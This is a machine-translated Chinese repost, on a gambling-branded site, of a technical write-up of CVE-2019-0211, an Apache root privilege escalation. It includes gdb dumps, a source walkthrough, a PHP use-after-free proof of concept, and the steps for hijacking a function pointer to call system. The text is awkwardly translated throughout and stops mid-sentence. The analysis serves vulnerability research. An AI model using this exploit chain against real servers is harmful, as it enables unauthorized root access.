CARPE (DIEM): CVE-2019-0211 Apache Root Privilege Escalation | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

CARPE (DIEM): CVE-2019-0211 Apache Root Privilege Escalation

申博_安全防护 申博 197次浏览 已收录 0个评论

运用Scapy编写类似于Nmap的端口扫描脚本

简介 Scapy是一种用于计算机网络的数据包处理工具,由Philippe Biondi 用Python编写。它可以伪造或解码数据包,在线路上发送它们,捕获它们,并匹配请求和回复。它还可以处理扫描,跟踪路由,探测,单元测试,攻击和网络发现等任务。可以

Introduction

关于从2.4.17版本(2015年10月9日宣布)到2.4.38版本(2019年4月1日宣布)之间的Apache HTTP体系来讲,由于存在数组接见越界致使的恣意函数挪用题目,致使体系轻易遭到当地root提权进击。当Apache一般从新启动(apache2ctl graceful)时,就会触发该破绽。 在规范Linux设置装备摆设状况中,logrotate顺序天天早上6:25都邑运转重启敕令,以便重置日记文件句柄。

该破绽会影响mod_prefork、mod_worker和mod_event等模块。下面,我们将细致引见该破绽的应用历程。

Bug description

在MPM prefork形式中,主服务器历程是以root用户权限运转的,用于治理一个单线程、低权限(www-data)的事情历程池,处置惩罚种种HTTP要求。为了取得worker的反应,Apache保护了一个同享内存地区(SHM),即scoreboard,用于寄存种种信息,如worker PID及其处置惩罚的末了一个要求。每一个worker都要保护与其PID相干联的process_score构造,而且赋予了针对SHM的完整读/写权限。

ap_scoreboard_image:指向同享内存块的指针

(gdb) p *ap_scoreboard_image 
$3 = {
  global = 0x7f4a9323e008, 
  parent = 0x7f4a9323e020, 
  servers = 0x55835eddea78
}
(gdb) p ap_scoreboard_image->servers[0]
$5 = (worker_score *) 0x7f4a93240820

与PID为19447的worker相干联的同享内存示例

(gdb) p ap_scoreboard_image->parent[0]
$6 = {
  pid = 19447, 
  generation = 0, 
  quiescing = 0 '\000', 
  not_accepting = 0 '\000', 
  connections = 0, 
  write_completion = 0, 
  lingering_close = 0, 
  keep_alive = 0, 
  suspended = 0, 
  bucket = 0 <- index for all_buckets
}
(gdb) ptype *ap_scoreboard_image->parent
type = struct process_score {
    pid_t pid;
    ap_generation_t generation;
    char quiescing;
    char not_accepting;
    apr_uint32_t connections;
    apr_uint32_t write_completion;
    apr_uint32_t lingering_close;
    apr_uint32_t keep_alive;
    apr_uint32_t suspended;
    int bucket; <- index for all_buckets
}

当Apache一般重启时,它的主历程会杀死本来的worker,并代之以新的worker。同时,主历程将运用本来worker的bucket值来接见其all_buckets数组。

all_buckets

(gdb) p $index = ap_scoreboard_image->parent[0]->bucket
(gdb) p all_buckets[$index]
$7 = {
  pod = 0x7f19db2c7408, 
  listeners = 0x7f19db35e9d0, 
  mutex = 0x7f19db2c7550
}
(gdb) ptype all_buckets[$index]
type = struct prefork_child_bucket {
    ap_pod_t *pod;
    ap_listen_rec *listeners;
    apr_proc_mutex_t *mutex; <--
}
(gdb) ptype apr_proc_mutex_t
apr_proc_mutex_t {
    apr_pool_t *pool;
    const apr_proc_mutex_unix_lock_methods_t *meth; <--
    int curr_locked;
    char *fname;
    ...
}
(gdb) ptype apr_proc_mutex_unix_lock_methods_t
apr_proc_mutex_unix_lock_methods_t {
    ...
    apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *); <--
    ...
}

须要注重的是,这里并没有举行界限搜检。因而,歹意的worker可以或许变动其bucket索引并使其指向同享内存,以便在从新启动时掌握prefork_child_bucket构造。 末了,就可以或许在删除权限之前挪用mutex->meth->child_init()了。这就意味着,进击者可以或许以root身份挪用恣意函数。

Vulnerable code

下面,我们将深切考核server/mpm/prefork/prefork.c,以弄清楚破绽地点的地位和相应的破绽机制。

  • 歹意worker修正同享内存中的bucket索引,使其指向本身的构造(也位于SHM中)。
  • 第二天早上6:25,logrotate要求从Apache一般重启。
  • 因而,Apache主历程会起首“剿灭”本来的worker,然后天生新的worker。
  • 在“祛除”本来的worker时,主若是经由过程向worker发送SIGUSR1来完成的。依照预期,它们应当马上退出。
  • 然后,挪用prefork_run()(L853)来天生新的worker。由于retained->mpm->was_graceful(L861)为true,以是,worker其实不会马上重启。
  • 以是,我们将进入主轮回(L933)并看管已杀死的worker的PID。当本来的worker殒命时,ap_wait_or_timeout()将返回其PID(L940)。
  • 与该PID相干联的process_score构造的索引将存储到child_slot(L948)中。
  • 若是worker没有完整被杀死(L969),则运用ap_get_scoreboard_process(child_slot)->bucket作为其第三个参数来挪用make_child()。 如前所述,这时候bucket的值已被一个歹意worker篡改了。
  • make_child()将建立一个新的子历程,然后应用fork()处置惩罚(L671)主历程。
  • 如许,就会涌现OOB读取(L691),从而致使my_bucket落入进击者的掌握之下。
  • 以后,child_main()被挪用(L722,L433)。
  • SAFE_ACCEPT(<code>)只要在Apache监听两个或更多端口时才会实行<code>,这类状况常常发作,由于服务器会监听HTTP(80)和HTTPS(443)。
  • 假定实行<code>,则挪用apr_proc_mutex_child_init(),这将致使挪用(*mutex)->meth->child_init(mutex, pool, fname),个中mutex位于进击者掌握之下。
  • 权限将在实行后删除(L446)。

Exploitation

破绽应用分四步举行:1.猎取worker历程的R/W接见权限。2.在SHM中编写一个伪prefork_child_bucket构造。3.让all_buckets[bucket]指向该构造。4.待到上午6:25,就可以挪用恣意函数了。

长处:主历程永久不会退出,因而,我们可以或许经由过程读取/proc/self/maps(ASLR/PIE无用)来得悉一切内容的映照地位——当worker殒命(或发作段毛病)时,主历程会自动重启worker,因而,不会涌现Apache的DOSing题目。

瑕玷:PHP不允许对/proc/self/mem举行读写操纵,因而,我们没法直接编纂SHM——all_buckets在一般重启后会被从新分派(!)

1.猎取worker历程的R/W接见权限

PHP UAF 0-day

由于mod_prefork常常与mod_php连系运用,因而,可以或许斟酌经由过程PHP来应用它。实际上,CVE-2019-6977将是一个圆满的候选者,但当我最先编写这个破绽的应用代码时,相应的应用代码还没有公之于众。因而,我转而求助于PHP 7.x版本中0day UAF(在PHP 5.x版本中彷佛也行得通):

PHP UAF

<?php

class X extends DateInterval implements JsonSerializable
{
  public function jsonSerialize()
  {
    global $y, $p;
    unset($y[0]);
    $p = $this->y;
    return $this;
  }
}

function get_aslr()
{
  global $p, $y;
  $p = 0;

  $y = [new X('PT1S')];
  json_encode([1234 => &$y]);
  print("ADDRESS: 0x" . dechex($p) . "\n");

  return $p;
}

get_aslr();

这是一种针对PHP工具的UAF破绽:我们开释了$y[0](X的一个实例),然则依然可以或许经由过程$this来运用相应的内存。

UAF to Read/Write

在这里,我们愿望完成两个目的:经由过程读取内存以查找all_buckets的地点;编纂SHM,以变动bucket索引,并增加自界说的mutex构造

荣幸的是,在内存中PHP的堆位于二者之前。

PHP的堆、ap_scoreboard_image->*和all_buckets的内存地点

root@apaubuntu:~# cat /proc/6318/maps | grep libphp | grep rw-p
7f4a8f9f3000-7f4a8fa0a000 rw-p 00471000 08:02 542265 /usr/lib/apache2/modules/libphp7.2.so

(gdb) p *ap_scoreboard_image 
$14 = {
  global = 0x7f4a9323e008, 
  parent = 0x7f4a9323e020, 
  servers = 0x55835eddea78
}
(gdb) p all_buckets 
$15 = (prefork_child_bucket *) 0x7f4a9336b3f0

由于我们触发的是针对PHP工具的UAF,以是,该工具的任何属性也可以或许在开释后运用;我们可以或许将这个zend_object UAF转换为zend_string UAF。这一点异常有用,由于zend_string的构造以下所示:

(gdb) ptype zend_string

type = struct _zend_string {
    zend_refcounted_h gc;
    zend_ulong h;
    size_t len;
    char val[1];
}

属性len寄存的是字符串的长度。经由过程递增这个值,我们可以或许进一步读写其他内存空间,从而接见我们感兴趣的两个内存地区:SHM和Apache的all_buckets。

Locating bucket indexes and all_buckets

我们愿望修正特定worker_id的ap_scoreboard_image->parent[worker_id]->bucket。 荣幸的是,该构造老是从同享内存块的开首局部最先的,因而很轻易举行定位。

同享内存的地位与目的process_score构造

root@apaubuntu:~# cat /proc/6318/maps | grep rw-s
7f4a9323e000-7f4a93252000 rw-s 00000000 00:05 57052                      /dev/zero (deleted)

(gdb) p &ap_scoreboard_image->parent[0]
$18 = (process_score *) 0x7f4a9323e020
(gdb) p &ap_scoreboard_image->parent[1]
$19 = (process_score *) 0x7f4a9323e044

我们可以或许应用我们对prefork_child_bucket构造的相识,来定位all_buckets:

bucket项的主要构造

prefork_child_bucket {
    ap_pod_t *pod;
    ap_listen_rec *listeners;
    apr_proc_mutex_t *mutex; <--
}

apr_proc_mutex_t {
    apr_pool_t *pool;
    const apr_proc_mutex_unix_lock_methods_t *meth; <--
    int curr_locked;
    char *fname;

    ...
}

apr_proc_mutex_unix_lock_methods_t {
    unsigned int flags;
    apr_status_t (*create)(apr_proc_mutex_t *, const char *);
    apr_status_t (*acquire)(apr_proc_mutex_t *);
    apr_status_t (*tryacquire)(apr_proc_mutex_t *);
    apr_status_t (*release)(apr_proc_mutex_t *);
    apr_status_t (*cleanup)(void *);
    apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *); <--
    apr_status_t (*perms_set)(apr_proc_mutex_t *, apr_fileperms_t, apr_uid_t, apr_gid_t);
    apr_lockmech_e mech;
    const char *name;
}

all_buckets[0]->mutex与all_buckets[0]位于雷同的内存地区中。由于meth是一个静态构造,因而,它将位于libapr的.data内存中。同时,由于meth指向在libapr中界说的函数,因而,一切的函数指针都将位于libapr.text中。

————————————-

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

由于我们可以或许经由过程/proc/self/map得悉这些地区的地点,以是,我们可以或许遍历Apache内存中的每一个指针,找到一个与该构造婚配的指针。它通常是all_buckets[0]。

正如前面所提到的,all_buckets的地点在每次一般从新启动时都邑发作变化。这意味着,当我们的破绽应用代码触发时,all_buckets的地点将与我们所找到的地点分歧。我们必需斟酌到这一点;概况将在后文中加以引见。

2.在SHM中编写一个伪prefork_child_bucket构造

Reaching the function call

恣意函数挪用的代码途径以下所示:

bucket_id = ap_scoreboard_image->parent[id]->bucket
my_bucket = all_buckets[bucket_id]
mutex = &my_bucket->mutex
apr_proc_mutex_child_init(mutex)
(*mutex)->meth->child_init(mutex, pool, fname)

Calling something proper

为了应用这个破绽,我们要让(mutex)->meth->child_init指向zend_object_std_dtor(zend_object object),详细以下所示:

mutex = &my_bucket->mutex
[object = mutex]
zend_object_std_dtor(object)
ht = object->properties
zend_array_destroy(ht)
zend_hash_destroy(ht)
val = &ht->arData[0]->val
ht->pDestructor(val)

个中,pDestructor被设置为system, &ht->arData[0]->val则是一个字符串。

3. 让all_buckets[bucket]指向该构造

Problem and solution

如今,若是all_buckets的地点在两次从新启动之间连结稳固,我们的破绽应用代码则可以或许:

  • 可以或许读写PHP堆背面的一切内存空间
  • 经由过程婚配其构造查找all_buckets
  • 把我们的构造放入SHM
  • 变动shm中的某个process_score.bucket,以便让all_bucket[bucket]->mutex指向我们的payload代码

跟着all_buckets的地点发作变化,我们可以或许经由过程两件事来进步可靠性:对SHM举行放射处置惩罚,并运用一切process_score构造——每一个PID一个。

Spraying the shared memory

若是all_buckets的新地点离旧地点不远的好,my_bucket将指向我们的构造。因而,我们可以或许将其悉数放射到SHM的未运用局部上,而不是将我们的prefork_child_bucket构造放到SHM的某个地点中题目是该构造也用作zend_object,因而,它的巨细为 (5 * 8 =) 40个字节,用来生存zend_object.properties。实际上,在这么小的内存空间上放射一个大的构造对我们来讲没什么资助。为相识决这个题目,我们叠加了两个中间构造apr_proc_mutex_t和zend_array,并将它们的地点放射到同享内存的其余局部。如许的话,就会致使prefork_child_bucket.mutex和zend_object.properties指向统一地点。如今,若是all_bucket重分派到离其原始地点不远的处所,则my_bucket将位于放射地区中。

Using every process_score

Apache的每一个worker都有一个对应的process_score构造,和一个bucket索%


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明CARPE (DIEM): CVE-2019-0211 Apache Root Privilege Escalation
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址